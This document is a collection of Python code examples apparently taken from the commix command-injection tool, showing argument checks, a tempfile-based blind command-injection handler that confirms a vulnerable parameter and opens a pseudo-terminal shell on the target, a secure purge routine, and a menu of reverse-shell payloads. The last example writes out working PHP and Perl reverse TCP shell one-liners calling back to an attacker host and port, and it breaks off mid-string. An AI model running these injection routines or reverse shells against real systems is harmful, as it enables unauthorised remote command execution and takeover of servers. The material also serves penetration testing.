Exemple #1
0
def sys_argv_errors():
    _reload_module(sys)
    try:
        # Fix for Python 2.7
        sys.setdefaultencoding('utf8')
    except AttributeError:
        pass
    for i in xrange(len(sys.argv)):
        # Check for illegal (non-console) quote characters.
        if len(sys.argv[i]) > 1 and all(
                ord(_) in xrange(0x2018, 0x2020)
                for _ in ((sys.argv[i].split('=', 1)[-1].strip() or ' ')[0],
                          sys.argv[i][-1])):
            err_msg = "Illegal (non-console) quote characters ('" + sys.argv[
                i] + "')."
            print(print_critical_msg(err_msg))
            raise SystemExit()
        # Check for illegal (non-console) comma characters.
        elif len(sys.argv[i]) > 1 and u"\uff0c" in sys.argv[i].split('=',
                                                                     1)[-1]:
            err_msg = "Illegal (non-console) comma character ('" + sys.argv[
                i] + "')."
            print(print_critical_msg(err_msg))
            raise SystemExit()
        # Check for potentially miswritten (illegal '=') short option.
        elif re.search(r"\A-\w=.+", sys.argv[i]):
            err_msg = "Potentially miswritten (illegal '=') short option detected ('" + sys.argv[
                i] + "')."
            print(print_critical_msg(err_msg))
            raise SystemExit()
Exemple #2
0
def sys_argv_checks():
  tamper_index = None
  for i in xrange(len(sys.argv)):
    # Disable coloring
    if sys.argv[i] == "--disable-coloring":
      from src.utils import colors
      colors.ENABLE_COLORING = False
    """
    Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B)
    [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae
    """
    if sys.argv[i].startswith("--tamper"):
      if tamper_index is None:
        tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None)
      else:
        sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else ""))
        sys.argv[i] = ""
Exemple #3
0
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response):

  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  injection_type = "semi-blind command injection"
  technique = "tempfile-based injection technique"

  if settings.TIME_RELATIVE_ATTACK == False: 
    warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
    print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
    settings.TIME_RELATIVE_ATTACK = None

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    err_msg = "The '--url-reload' option is not available in " + technique + "!"
    print(settings.print_critical_msg(err_msg))

  if not settings.LOAD_SESSION: 
    # Change TAG on every request to prevent false-positive resutls.
    TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) 

  if settings.VERBOSITY_LEVEL != 0:
    info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
    print(settings.print_info_msg(info_msg))

  #whitespace = checks.check_whitespaces()
  # Calculate all possible combinations
  total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACES:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          how_long_statistic = []
          if settings.LOAD_SESSION:
            try:
              settings.TEMPFILE_BASED_STATE = True 
              cmd = shell = ""
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              settings.FOUND_HOW_LONG = how_long
              settings.FOUND_DIFF = how_long - timesec
              OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print(settings.print_critical_msg(err_msg))
              raise SystemExit()

          else:
            num_of_chars = num_of_chars + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
            alter_shell = menu.options.alter_shell
            tag_length = len(TAG) + 4
            
            for output_length in range(1, int(tag_length)):
              try:
                # Tempfile-based decision payload (check if host is vulnerable).
                if alter_shell :
                  payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
                else:
                  payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)

                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)

                # Whitespace fixation
                payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
                
                # Perform payload modification
                payload = checks.perform_payload_modification(payload)

                # Check if defined "--verbose" option.
                if settings.VERBOSITY_LEVEL == 1:
                  payload_msg = payload.replace("\n", "\\n")
                  print(settings.print_payload(payload_msg))
                elif settings.VERBOSITY_LEVEL >= 2:
                  debug_msg = "Generating payload for the injection."
                  print(settings.print_debug_msg(debug_msg))
                  print(settings.print_payload(payload)) 
                  
                # Cookie header injection
                if settings.COOKIE_INJECTION == True:
                  # Check if target host is vulnerable to cookie header injection.
                  vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                  how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
                  
                # User-Agent HTTP header injection
                elif settings.USER_AGENT_INJECTION == True:
                  # Check if target host is vulnerable to user-agent HTTP header injection.
                  vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                  how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

                # Referer HTTP header injection
                elif settings.REFERER_INJECTION == True:
                  # Check if target host is vulnerable to referer HTTP header injection.
                  vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                  how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

                # Host HTTP header injection
                elif settings.HOST_INJECTION == True:
                  # Check if target host is vulnerable to host HTTP header injection.
                  vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                  how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload)

                # Custom HTTP header injection
                elif settings.CUSTOM_HEADER_INJECTION == True:
                  # Check if target host is vulnerable to custom HTTP header injection.
                  vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                  how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)

                else:
                  # Check if target host is vulnerable.
                  how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

                # Statistical analysis in time responses.
                how_long_statistic.append(how_long)

                # Injection percentage calculation
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))

                if percent == 100 and no_result == True:
                  if settings.VERBOSITY_LEVEL == 0:
                    percent = settings.FAIL_STATUS
                  else:
                    percent = ""
                else:
                  if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                     (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                     (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                    # Time relative false positive fixation.
                    false_positive_fixation = False
                    if len(TAG) == output_length:

                      # Simple statical analysis
                      statistical_anomaly = True
                      if len(set(how_long_statistic[0:5])) == 1:
                        if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
                          statistical_anomaly = False
                          how_long_statistic = []  

                      if timesec <= how_long and not statistical_anomaly:
                        false_positive_fixation = True
                      else:
                        false_positive_warning = True

                    # Identified false positive warning message.
                    if false_positive_warning:
                      warn_msg = "Unexpected time delays have been identified due to unstable "
                      warn_msg += "requests. This behavior may lead to false-positive results.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      while True:
                        if not menu.options.batch:
                          question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                          proceed_option = _input(settings.print_question_msg(question_msg))
                        else:
                          proceed_option = ""  
                        if len(proceed_option) == 0:
                           proceed_option = "c"
                        if proceed_option.lower() in settings.CHOICE_PROCEED :
                          if proceed_option.lower() == "s":
                            false_positive_fixation = False
                            raise
                          elif proceed_option.lower() == "c":
                            timesec = timesec + 1
                            false_positive_fixation = True
                            break
                          elif proceed_option.lower() == "q":
                            raise SystemExit()
                        else:
                          err_msg = "'" + proceed_option + "' is not a valid answer."
                          print(settings.print_error_msg(err_msg))
                          pass

                    if settings.VERBOSITY_LEVEL == 0:
                      percent = ".. (" + str(float_percent) + "%)"
                      info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()

                    # Check if false positive fixation is True.
                    if false_positive_fixation:
                      false_positive_fixation = False
                      settings.FOUND_HOW_LONG = how_long
                      settings.FOUND_DIFF = how_long - timesec
                      if false_positive_warning:
                        time.sleep(1)
                      randv1 = random.randrange(0, 4)
                      randv2 = random.randrange(1, 5)
                      randvcalc = randv1 + randv2

                      if settings.TARGET_OS == "win":
                        if alter_shell:
                          cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                        else:
                          cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                      else:
                        cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"

                      # Set the original delay time
                      original_how_long = how_long
                      
                      # Check for false positive resutls
                      how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)

                      if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                         (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                         (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        
                        if str(output) == str(randvcalc) and len(TAG) == output_length:
                          possibly_vulnerable = True
                          how_long_statistic = 0
                          if settings.VERBOSITY_LEVEL == 0:
                            percent = settings.info_msg
                          else:
                            percent = ""
                          #break  
                      else:
                        break
                    # False positive
                    else:
                      if settings.VERBOSITY_LEVEL == 0:
                        percent = ".. (" + str(float_percent) + "%)"
                        info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                      continue    
                  else:
                    if settings.VERBOSITY_LEVEL == 0:
                      percent = ".. (" + str(float_percent) + "%)"
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    continue
                if settings.VERBOSITY_LEVEL == 0:
                  info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()
                  
              except KeyboardInterrupt: 
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise

              except SystemExit:
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise

              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print(settings.print_error_msg(err_msg))
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 

              except:
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
                if str(float_percent) == "100.0":
                  if no_result == True:
                    if settings.VERBOSITY_LEVEL == 0:
                      percent = settings.FAIL_STATUS
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    else:
                      percent = ""
                  else:
                    percent = ".. (" + str(float_percent) + "%)"
                    print(settings.SINGLE_WHITESPACE)
                    # Print logs notification message
                    logs.logs_notification(filename)
                  #raise
                else:
                  percent = ".. (" + str(float_percent) + "%)"
              break
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response == 0 and (how_long - timesec) >= 0) or \
             (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
             (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

            if (len(TAG) == output_length) and \
               (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

              found = True
              no_result = False
              # Check injection state
              settings.DETECTION_PHASE = False
              settings.EXPLOITATION_PHASE = True
              if settings.LOAD_SESSION:
                if whitespace == "%20":
                  whitespace = " "
                possibly_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " parameter"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.HOST_INJECTION == True: 
                header_name = " Host"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.CUSTOM_HEADER_INJECTION == True: 
                header_name = " " + settings.CUSTOM_HEADER_NAME
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method != settings.HTTPMETHOD.POST:
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1

              if not settings.LOAD_SESSION:
                if settings.VERBOSITY_LEVEL == 0:
                  print(settings.SINGLE_WHITESPACE)
                else:
                  checks.total_of_requests()

              # Print the findings to terminal.
              info_msg = "The"
              if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
                info_msg += " " + http_request_method 
              info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
              info_msg += found_vuln_parameter + " seems injectable via "
              info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
              print(settings.print_bold_info_msg(info_msg))
              sub_content = str(checks.url_decode(payload))
              print(settings.print_sub_content(sub_content))
              # Export session
              if not settings.LOAD_SESSION:
                shell = ""
                session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
                #possibly_vulnerable = False
              else:
                settings.LOAD_SESSION = False 
                
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)  
              if settings.TARGET_OS == "win":
                time.sleep(1)
              
              new_line = False  
              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True :
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to enumerate again? [Y/n] > "
                    enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
                  else:
                    enumerate_again = ""
                  if len(enumerate_again) == 0:
                    enumerate_again = "Y"
                  if enumerate_again in settings.CHOICE_YES:
                    tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                    print(settings.SINGLE_WHITESPACE)
                    break
                  elif enumerate_again in settings.CHOICE_NO: 
                    new_line = True
                    break
                  elif enumerate_again in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)    
                    raise SystemExit()
                  else:
                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                    print(settings.print_error_msg(err_msg))
                    pass
              else:
                if menu.enumeration_options():
                  tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                  print(settings.SINGLE_WHITESPACE)

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True :
                print(settings.SINGLE_WHITESPACE)
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to access files again? [Y/n] > "
                    file_access_again = _input(settings.print_question_msg(question_msg))
                  else:
                    file_access_again = ""
                  if len(file_access_again) == 0:
                    file_access_again = "Y"
                  if file_access_again in settings.CHOICE_YES:
                    tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                    break
                  elif file_access_again in settings.CHOICE_NO: 
                    if not new_line:
                      new_line = True
                    break
                  elif file_access_again in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    raise SystemExit()
                  else:
                    err_msg = "'" + file_access_again + "' is not a valid answer."  
                    print(settings.print_error_msg(err_msg))
                    pass
              else:
                # if not menu.enumeration_options() and not menu.options.os_cmd:
                #   print(settings.SINGLE_WHITESPACE)
                tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
              
              # Check if defined single cmd.
              if menu.options.os_cmd:
                check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                # Export injection result
                tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                # Delete previous shell (text) files (output) from temp.
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                logs.print_logs_notification(filename, url) 
                raise SystemExit()  

              if settings.VERBOSITY_LEVEL != 0 or not new_line:
                print(settings.SINGLE_WHITESPACE)
              try:    
                # Pseudo-Terminal shell
                go_back = False
                go_back_again = False
                while True:
                  if go_back == True:
                    break
                  if not menu.options.batch:
                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                    gotshell = _input(settings.print_question_msg(question_msg))
                  else:
                    gotshell = ""
                  if len(gotshell) == 0:
                     gotshell = "Y"
                  if gotshell in settings.CHOICE_YES:
                    # if not menu.options.batch:
                    #   print(settings.SINGLE_WHITESPACE)
                    print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                    if settings.READLINE_ERROR:
                      checks.no_readline_module()
                    while True:
                      if false_positive_warning:
                        warn_msg = "Due to unexpected time delays, it is highly "
                        warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                        sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                        false_positive_warning = False
                      if not settings.READLINE_ERROR:
                        checks.tab_autocompleter()
                      cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                        if go_back and go_back_again == False:
                          break
                        if go_back and go_back_again:
                          return True 
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # The main command injection exploitation.
                        check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                        # Export injection result
                        tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, output, vuln_parameter)
                      else:
                        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, output)
                        print("\n" + settings.print_output(output) + "\n")
                      # Update logs with executed cmds and execution results.
                      logs.executed_command(filename, cmd, output)

                  elif gotshell in settings.CHOICE_NO:
                    if checks.next_attack_vector(technique, go_back) == True:
                      break
                    else:
                      if no_result == True:
                        return False 
                      else:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                        return True  
                  elif gotshell in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    raise SystemExit()
                  else:
                    err_msg = "'" + gotshell + "' is not a valid answer."  
                    print(settings.print_error_msg(err_msg))
                    pass

              except KeyboardInterrupt:
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise  

              except SystemExit: 
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 
  
              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print(settings.print_error_msg(err_msg))
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 

  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print(settings.SINGLE_WHITESPACE)
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Exemple #4
0
def purge():
  directory = settings.OUTPUT_DIR
  if not os.path.isdir(directory):
    warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist."
    print(settings.print_warning_msg(warn_msg))
    return
  info_msg = "Purging content of directory '" + directory + "'"
  if not menu.options.verbose >= 1: 
    info_msg += ". "
  else:
     info_msg += ".\n" 
  sys.stdout.write(settings.print_info_msg(info_msg))
  sys.stdout.flush()  

  # Purging content of target directory.
  dir_paths = []
  file_paths = []
  for rootpath, directories, filenames in os.walk(directory):
    dir_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in directories])
    file_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in filenames])

  # Changing file attributes.
  if menu.options.verbose >= 1:
    info_msg = "Changing file attributes. "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush() 
  failed = False
  for file_path in file_paths:
    try:
      os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE)
    except:
      failed = True
      pass
  if menu.options.verbose >= 1:    
    if not failed:  
      print(settings.SUCCESS_STATUS)
    else:
      print(settings.FAIL_STATUS)

  # Writing random data to files.
  if menu.options.verbose >= 1:
    info_msg = "Writing random data to files. "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush() 
  failed = False
  for file_path in file_paths:
    try:
      filesize = os.path.getsize(file_path)
      with open(file_path, "w+b") as f:
        f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize)))
    except:
      failed = True
      pass
  if menu.options.verbose >= 1:    
    if not failed:  
      print(settings.SUCCESS_STATUS)
    else:
      print(settings.FAIL_STATUS)

  # Truncating files.
  if menu.options.verbose >= 1:
    info_msg = "Truncating files. "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush() 
  failed = False
  for file_path in file_paths:
    try:
      with open(file_path, 'w') as f:
        pass
    except:
      failed = True
      pass
  if menu.options.verbose >= 1:    
    if not failed:  
      print(settings.SUCCESS_STATUS)
    else:
      print(settings.FAIL_STATUS)

  # Renaming filenames to random values.
  if menu.options.verbose >= 1:
    info_msg = "Renaming filenames to random values. "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush() 
  failed = False
  for file_path in file_paths:
    try:
      os.rename(file_path, os.path.join(os.path.dirname(file_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
    except:
      failed = True
      pass
  if menu.options.verbose >= 1:    
    if not failed:  
      print(settings.SUCCESS_STATUS)
    else:
      print(settings.FAIL_STATUS)

  # Renaming directory names to random values.
  if menu.options.verbose >= 1:
    info_msg = "Renaming directory names to random values. "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush() 
  failed = False
  dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)))
  for dir_path in dir_paths:
    try:
      os.rename(dir_path, os.path.join(os.path.dirname(dir_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
    except:
      failed = True
      pass
  if menu.options.verbose >= 1:    
    if not failed:  
      print(settings.SUCCESS_STATUS)
    else:
      print(settings.FAIL_STATUS)

  # Deleting the whole directory tree. 
  if menu.options.verbose >= 1:
    info_msg = "Deleting the whole directory tree. "
    sys.stdout.write(settings.print_info_msg(info_msg))
  try:
    failed = False
    os.chdir(os.path.join(directory, ".."))
    shutil.rmtree(directory)
  except OSError as ex:
    failed = True  
  if not failed:  
    print(settings.SUCCESS_STATUS)
  else:
    print(settings.FAIL_STATUS)    
    err_msg = "Problem occurred while removing directory '" + directory + "'."
    print(settings.print_critical_msg(err_msg))

# eof
Exemple #5
0
def other_reverse_shells(separator):

    while True:
        other_shell = _input("""
---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like reverse TCP shells""" +
                             Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL +
                             """' to use a PHP reverse TCP shell.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL +
                             """' to use a Perl reverse TCP shell.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL +
                             """' to use a Ruby reverse TCP shell. 
Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL +
                             """' to use a Python reverse TCP shell.
Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL +
                             """' to use a Socat reverse TCP shell.
Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL +
                             """' to use a Bash reverse TCP shell.
Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL +
                             """' to use a Ncat reverse TCP shell.
\n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows reverse TCP shells""" +
                             Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL +
                             """' to use a PHP meterpreter reverse TCP shell.
Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL +
                             """' to use a Python reverse TCP shell.
Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL +
                             """' to use a Python meterpreter reverse TCP shell. 
Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL +
                             """' to use a Windows meterpreter reverse TCP shell. 
Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL +
                             """' to use the web delivery script. 
\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" +
                             Style.RESET_ALL + """) > """)

        # PHP-reverse-shell
        if other_shell == '1':
            other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
                          "exec(\"/bin/sh -i <%263 >%263 2>%263\");'"
            break

        # Perl-reverse-shell
        elif other_shell == '2':
            other_shell = "perl -e 'use Socket;" \
                          "$i=\"" + settings.LHOST  + "\";" \
                          "$p=" + settings.LPORT  + ";" \
                          "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \
                          "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \
                          "open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \
